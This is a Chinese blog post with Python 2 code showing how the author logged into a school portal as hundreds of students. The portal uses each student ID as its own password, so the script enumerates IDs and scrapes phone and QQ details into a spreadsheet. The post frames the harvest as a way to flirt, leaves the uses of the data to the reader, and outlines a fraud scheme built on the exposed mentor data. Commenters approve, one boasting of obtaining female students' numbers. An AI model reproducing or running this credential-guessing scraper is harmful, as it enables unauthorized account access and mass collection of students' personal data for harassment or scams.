美文网首页网络安全实验室Python研究刚刚开始胶水Python
我是如何获取整个学校的学生call和qq(爬虫),技术撩妹

我是如何获取整个学校的学生call和qq(爬虫),技术撩妹

作者: 浅影科技 | 来源:发表于2018-01-23 20:25 被阅读2389次

    前言:

    这个没什么技术难度,懂爬虫的人和程序员都可以用学的语言写出来
    只是很多安全问题的存在,的确影响着我们的生活,
    希望大家可以认识到一些网站的后台密码的规则与自己的安全性
    简单的说,就是是程序员的懒,让用户的信息暴露在互联网上
    还有一点:
    就是希望正在接触python,和快要放弃学习的同学,可以试试换种思路,
    来试试爬虫,这样有成就感的累积,可以慢慢提升你的自信


    爬虫开始前的准备:

    • python2.7
    • 库文件(xlwt,urllib2,BeautifulSoup4,xlrd)
    安装库文件的方法:

    最好在你的python2.7/script/下面打开power shell(可以shift+右击) 执行下面的:

    安装库文件:
          pip install ***    ***是指上面的库文件,下面不一定都用,只要上面的,以后出什么错,你就继续pip install 
    
    from bs4 import BeautifulSoup
    import requests
    import json
    import time
    import os
    import re
    from pprint import pprint
    import ssl
    import cookielib
    import urllib2
    import urllib
    import sys
    import xlrd
    import xlwt
    
    如何查看自己已经安装了的库

    pip list


    观察网站结构(密码规则):

    密码规则
    • 首先这个规则是针对大二和已经毕业了的
    • 密码规则没有添加验证码(其实添加验证码也没什么用,只是添加了爬取门槛)
    • 规则是 用户名==密码
      符合条件
    user_info
    • 这里的用户信息
    • 不要在意这些细节(马赛克) 朦胧美一直是我的追求

    具体思路:

    模拟登陆 ==》制作学号规则==》信息查询(爬取)==》存入xls

    模拟登陆:

    因为我们是用爬虫取信息,每次访问,

    1. 肯定是登陆了以后才可以访问我们的信息 ==》模拟登陆
    2. 当我们用脚本访问下一个页面,需要一个cookie信息,就好比,当你打开
      qq空间,其实是想腾讯那里提交了自己的信息,而我们的信息就存在cookie中
    • python 中cookie维持会话访问:
    sys.setdefaultencoding("utf-8")
    
    # ssl这个是验证证书 https
    ssl._create_default_https_context = ssl._create_unverified_context
    # 生成一个存储cookie的对象
    c = cookielib.LWPCookieJar()
    cookie = urllib2.HTTPCookieProcessor(c)
    opener = urllib2.build_opener(cookie)
    urllib2.install_opener(opener)
    

    • 模拟登陆

    具体网址不分享,避免带来不必要的麻烦

        url="http://XXX.xxxx.edu.cn:80/Mobdle/S0s/Login.aspx"
        
        headers={
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36',
        'Host':'bydg.sjzpt.edu.cn:8080',
        'Referer':'http://XXX.xxxx.edu.cn:80/Mobdle/S0s/Login.aspx'
    }
            #这里是post提交的数据,写成字典的格式--编码然后提交
        data= {
            '__VIEWSTATE':'/wEPDwUJNzE4ODIxNTQyZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUMSW1hZ2VCdXR0b24xyPtnkTVK5s7OSriVHZGoeBQymQUUjppPK0Se8wDLMqM=',
            'username':username,
            'password':password,
            'ImageButton1.x':'105',
            'ImageButton1.y':'44'
        }
        # req = requests.post(url,headers=headers,data=data)
        # soup = BeautifulSoup(req,'html.parser')
        data=urllib.urlencode(data)  #这里对post 提交的数据编码
        # print data
        html = opener.open(url,data=data).read()   #这里访问以下网页,这时候cookie会存到opener里
    

    • 学号的列表

    不要在意我是怎么知道的,
    重要的是这些规则,你怎么去重新写一个函数代入

    (里面的我修改过,所以不要套用,以免浪费时间)
    # 学号只在最后3位不一样,随机数xrange() 可以处理更好的处理大的列表
    def user_id():
        list_1 = []
        for i in xrange(101,249):
            list_1.append('1131050'+str(i))
        for i in xrange(301,349):
            list_1.append('1131050'+ str(i))
        for i in xrange(401,448):
            list_1.append('1131050'+ str(i))
        for i in xrange(501,548):
            list_1.append('1131050'+ str(i))
        for i in xrange(101,150):
            list_1.append('1131070'+ str(i))
        for i in xrange(101,151):
            list_1.append('1131050'+ str(i))
        for i in xrange(201,252):
            list_1.append('1135050'+ str(i))
        for i in xrange(301,352):
            list_1.append('1131050'+ str(i))
        for i in xrange(401,453):
            list_1.append('1131050'+ str(i))
        for i in xrange(101,148):
            list_1.append('1131070'+ str(i))
        for i in xrange(201,247):
            list_1.append('1131070'+ str(i))
    
        return list_1
    
    

    • 用户信息的获取

    这里用的的是beautifulsoup库

    def user_info():
    
        url_info="http://XXX.xxxx.edu.cn:80/Modile/Sys/Meddage/Info.aspx"
        html2 = opener.open(url_info).read()
        
        # python2.7 没装lxml的可能会报错,pip install lxml
        
        soup = BeautifulSoup(html2,"lxml")          #以lxml 方式解析抓下来的lxml
        infos = soup.select("tr > td > span")         # css seletor 来获取指定标签
        #print profes
        # print infos
        return infos
    
    • 写入xls(这个是思路)测试用的函数

    因为在写的时候因为编码问题,不能写入中文

    def write_user():
        file2 = xlwt.Workbook(encoding='utf-8')    #打开一个excel,并且编码格式以  'utf-8'
        table = file2.add_sheet('info',cell_overwrite_ok=True)    #添加一个表
        table.write(0,0,"15d中文3s0")    # 写入内容,table.write(row,col,'value')
        file2.save('file2.xls')
    

    • 开始行动:

    • 添加上延迟访问: time.sleep(1)
    1. 因为爬虫访问的不和人一样,访问会很快,
    2. 这样可以避免被封ip 还有避免给站点带来不好的影响
    def go_user():
        user_list = []
        user_infos = []
        user_list = user_id()
    
        file2 = xlwt.Workbook(encoding='utf-8')
        table = file2.add_sheet('info',cell_overwrite_ok=True)
        r = 0  #row  行
    
        for i in user_list:
    
            c = 0  #col
            login(username=i, password=i)       #登录,并传入列表的学号
            user_infos = user_info()      #获取学号信息,格式是字典
            for i in user_infos[0:10]:       #写入表单中,循环把信息写进去
                # print i.get_text()
                table.write(r,c,i.get_text())
                c += 1
            r += 1
            time.sleep(1)     #延迟访问,可避免封ip,还有影响服务器
            print r,c
    
        file2.save('file2.xls')
    

    程序执行结束:

    部分截图:有图有真相,避免无知的喷子
    学号规则很好找的,这样就获取半个学校的call和qq啦,至于能干嘛,自己脑补。。。

    end_info

    不知道库的使用方法,我这里总结了下,还有不知道的只能百度啦

    beautifulsoup的使用

    xlwt 和 wlrd对excel读写操作


    总结:

    • 程序员偷懒,验证码不设定,密码和学号一样,简单的说,是没有安全概念
      往深的说,是对学生不负责

    • 诈骗思路: --这里我模仿一下骗子

      学生学习里面还有企业导师,里面有企业导师的详细信息,从业资格证书,详细到几几年获得
      还有毕业时间,这么详细的信息,不就是为骗子准备的,社工可以获取企业导师的习惯,再和实习生说出企业导师的详细信息,让你放下戒备,然后,开始骗钱,涉及到公司,再结合让你走公司资金(前提你是财务)。。。。。。

      学校要这么详细的信息,还这么不注重安全,向钱看的目标是不能变,但是,更细致的为学生考虑好,会不会带来更好的声誉呐,值得深思
      
    • 看见的同学请修改下密码,避免没必要的麻烦(有必要麻烦转发下,至少我们一起努力过)

    喜欢作者的可以关注下,定期更新

    往期文章:
    通过内网截取女神正在浏览的照片(需要kali)
    央视播放摄像头被破解--的遗留问题(安全在人性)
    通过人性的特点,破解用户的密码(社工)
    利用好网络资源,提升自己的生活体验
    查找好友的具体位置 (更多方法)

    相关文章

      网友评论

      • 冷情啊:作者能否推荐几本书?非常感谢!
        冷情啊:@网信智安 嗯。
        浅影科技:@冷情啊 python核心编程 我也是个新手,一起努力啦
      • e5316b82d603:打码打的不好,,,很多信息还是泄露出来了
        浅影科技:@南诚21375 好的,下次我注意一下
      • a7add0a4288a:作者你开篇就出现了严重的错误!“懂爬虫的人和程序员”,难道你认为程序员和人不是一个物种吗?!或者你潜意识里人为我们广大程序员已经不属于人类?!你这是赤裸裸的职业歧视!我代表广大程序猿严肃鄙视你!
        浅影科技:@我还有点菜 大哥,我没那意思,我是说[懂爬虫的人]和[程序员],之所以这样想,是因为懂爬虫不一定会程序,会程序的却很多明白爬虫,所以才有这个分,如果给大家带来不必要的麻烦,还请见谅。
        男人可以丑,但不能丑陋,我爸一直这么唠叨我这个,所以,希望我的解释你能满意
      • 大叔top:我们是同路中人 每年我都是第一个知道师妹的手机号码的人 233
        浅影科技:@大叔top 1094067816qq
        大叔top:@IFTC 大兄弟 能否留下联系方式 有空交流交流
        浅影科技:@大叔top 关注你啦
      • 齐原缘:送你上去!
        浅影科技:@齐三岁 小妹,对于别人我不知道,我觉得我自己越来越像一个人,只是 我本将心向明月,奈何明月照沟渠,你为什么叫齐三岁呢?
        齐原缘:@IFTC 老哥 现在程序猿也喜欢这些话?
        (:未来的程序媛
        浅影科技:@齐三岁 感谢,我认为最深沉的爱 
        莫过于你离开以后 
        我活成了你的样子。
      • 我是兔儿子bb:超级课程表就是这个技术吧😏

      本文标题:我是如何获取整个学校的学生call和qq(爬虫),技术撩妹

      本文链接:https://www.haomeiwen.com/subject/ettdaxtx.html